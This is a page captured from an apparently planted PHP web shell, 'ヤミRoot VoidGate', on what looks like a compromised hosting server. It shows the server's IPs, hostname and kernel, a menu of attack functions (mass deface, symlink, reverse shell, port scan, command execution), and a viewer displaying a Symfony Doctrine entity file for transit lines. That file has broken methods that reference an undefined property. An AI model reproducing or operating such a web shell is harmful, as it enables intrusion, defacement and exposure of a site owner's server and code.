ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Entity
/
Viewing: Line.php
<?php namespace AppBundle\Entity; use Doctrine\ORM\Mapping as ORM; use Doctrine\Common\Collections\ArrayCollection; use JMS\Serializer\Annotation as Serializer; use Symfony\Component\Validator\Constraints as Assert; use AppBundle\Entity\LineStanding; /** * Line * * @ORM\Table(name="line") * @ORM\Entity(repositoryClass="AppBundle\Repository\LineRepository") */ class Line { /** * @var int * * @ORM\Column(name="id", type="integer") * @ORM\Id * @ORM\GeneratedValue(strategy="AUTO") * @Serializer\Groups({"LIST", "LINE_DETAILS"}) */ private $lineId; /** * @var string * * @ORM\Column(name="first_endpoint", type="string", length=255, nullable=true) * @Serializer\Groups({"LIST", "LINE_DETAILS"}) * * @Assert\NotBlank */ private $firstEndpoint; /** * @var string * * @ORM\Column(name="second_endpoint", type="string", length=255, nullable=true) * @Serializer\Groups({"LIST", "LINE_DETAILS"}) * * @Assert\NotBlank */ private $secondEndpoint; /** * @var int * * @ORM\Column(name="average_travel_time", type="integer", nullable=true) * @Serializer\Groups({"LINE_DETAILS"}) */ private $averageTravelTime; /** * @var \AppBundle\Entity\Company * * @ORM\ManyToOne(targetEntity="AppBundle\Entity\Company") * @ORM\JoinColumn(nullable=false) * @Serializer\Groups({"LINE_DETAILS"}) * @Serializer\MaxDepth(1) */ private $company; /** * @var bool * * @ORM\Column(name="active", type="boolean", * options = { * "default" : true * } * ) * @Serializer\Groups({ "LINE_DETAILS"}) */ private $active = true; /** * @var \AppBundle\Entity\Stop * * @ORM\OneToMany(targetEntity="AppBundle\Entity\Stop", mappedBy="line") * @Serializer\Groups({ "LINE_DETAILS"}) * @Serializer\MaxDepth(1) */ private $stops; /** * @var \AppBundle\Entity\Stop * * @ORM\OneToMany(targetEntity="AppBundle\Entity\LineStanding", mappedBy="line", cascade={"persist"}) * * @Serializer\Groups({ "LINE_DETAILS"}) * @Serializer\MaxDepth(1) */ private $lineStandings; /** * Get lineId * * @return integer */ public function getLineId() { return $this->lineId; } /** * Set firstEndpoint * * @param string $firstEndpoint * * @return Line */ public function setFirstEndpoint($firstEndpoint) { $this->firstEndpoint = $firstEndpoint; return $this; } /** * Get firstEndpoint * * @return string */ public function getFirstEndpoint() { return $this->firstEndpoint; } /** * Set secondEndpoint * * @param string $secondEndpoint * * @return Line */ public function setSecondEndpoint($secondEndpoint) { $this->secondEndpoint = $secondEndpoint; return $this; } /** * Get secondEndpoint * * @return string */ public function getSecondEndpoint() { return $this->secondEndpoint; } /** * Set averageTravelTime * * @param integer $averageTravelTime * * @return Line */ public function setAverageTravelTime($averageTravelTime) { $this->averageTravelTime = $averageTravelTime; return $this; } /** * Get averageTravelTime * * @return integer */ public function getAverageTravelTime() { return $this->averageTravelTime; } /** * Set company * * @param \AppBundle\Entity\Company $company * * @return Line */ public function setCompany(\AppBundle\Entity\Company $company) { $this->company = $company; return $this; } /** * Get company * * @return \AppBundle\Entity\Company */ public function getCompany() { return $this->company; } /** * Set active * * @param boolean $active * * @return Line */ public function setActive($active) { $this->active = $active; return $this; } /** * Get active * * @return boolean */ public function getActive() { return $this->active; } /** * Add standing * * @param \AppBundle\Entity\Standing $standing * * @return Line */ public function addStanding(\AppBundle\Entity\Standing $standing) { return $this; } /** * Remove standing * * @param \AppBundle\Entity\Standing $standing */ public function removeStanding(\AppBundle\Entity\Standing $standing) { $this->standings->removeElement($standing); } /** * Add stop * * @param \AppBundle\Entity\Stop $stop * * @return Line */ public function addStop(\AppBundle\Entity\Stop $stop) { $this->stops[] = $stop; return $this; } /** * Remove stop * * @param \AppBundle\Entity\Stop $stop */ public function removeStop(\AppBundle\Entity\Stop $stop) { $this->stops->removeElement($stop); /** * Maintains the right value for the field Order when a stop is deleted */ foreach($this->stops as $element){ if ($element->getOrderer() > $stop->getOrderer() ){ $element->setOrderer($element->getOrderer()-1); } } } /** * Get stops * * @return \Doctrine\Common\Collections\Collection */ public function getStops() { return $this->stops; } /** * Constructor */ public function __construct() { $this->stops = new \Doctrine\Common\Collections\ArrayCollection(); $this->lineStandings = new \Doctrine\Common\Collections\ArrayCollection(); } /** * Add lineStanding * * @param \AppBundle\Entity\LineStanding $lineStanding * * @return Line */ public function addLineStanding(\AppBundle\Entity\LineStanding $lineStanding) { $this->lineStandings[] = $lineStanding; return $this; } /** * Remove lineStanding * * @param \AppBundle\Entity\LineStanding $lineStanding */ public function removeLineStanding(\AppBundle\Entity\LineStanding $lineStanding) { $this->lineStandings->removeElement($lineStanding); } /** * Get lineStandings * * @return \Doctrine\Common\Collections\Collection */ public function getLineStandings() { return $this->lineStandings; } public function getStandings() { $standings = new ArrayCollection(); foreach ($this->lineStandings as $element) { $standings[] = $element->getStanding(); } return $standings; } }
Coded With 💗 by
0x6ick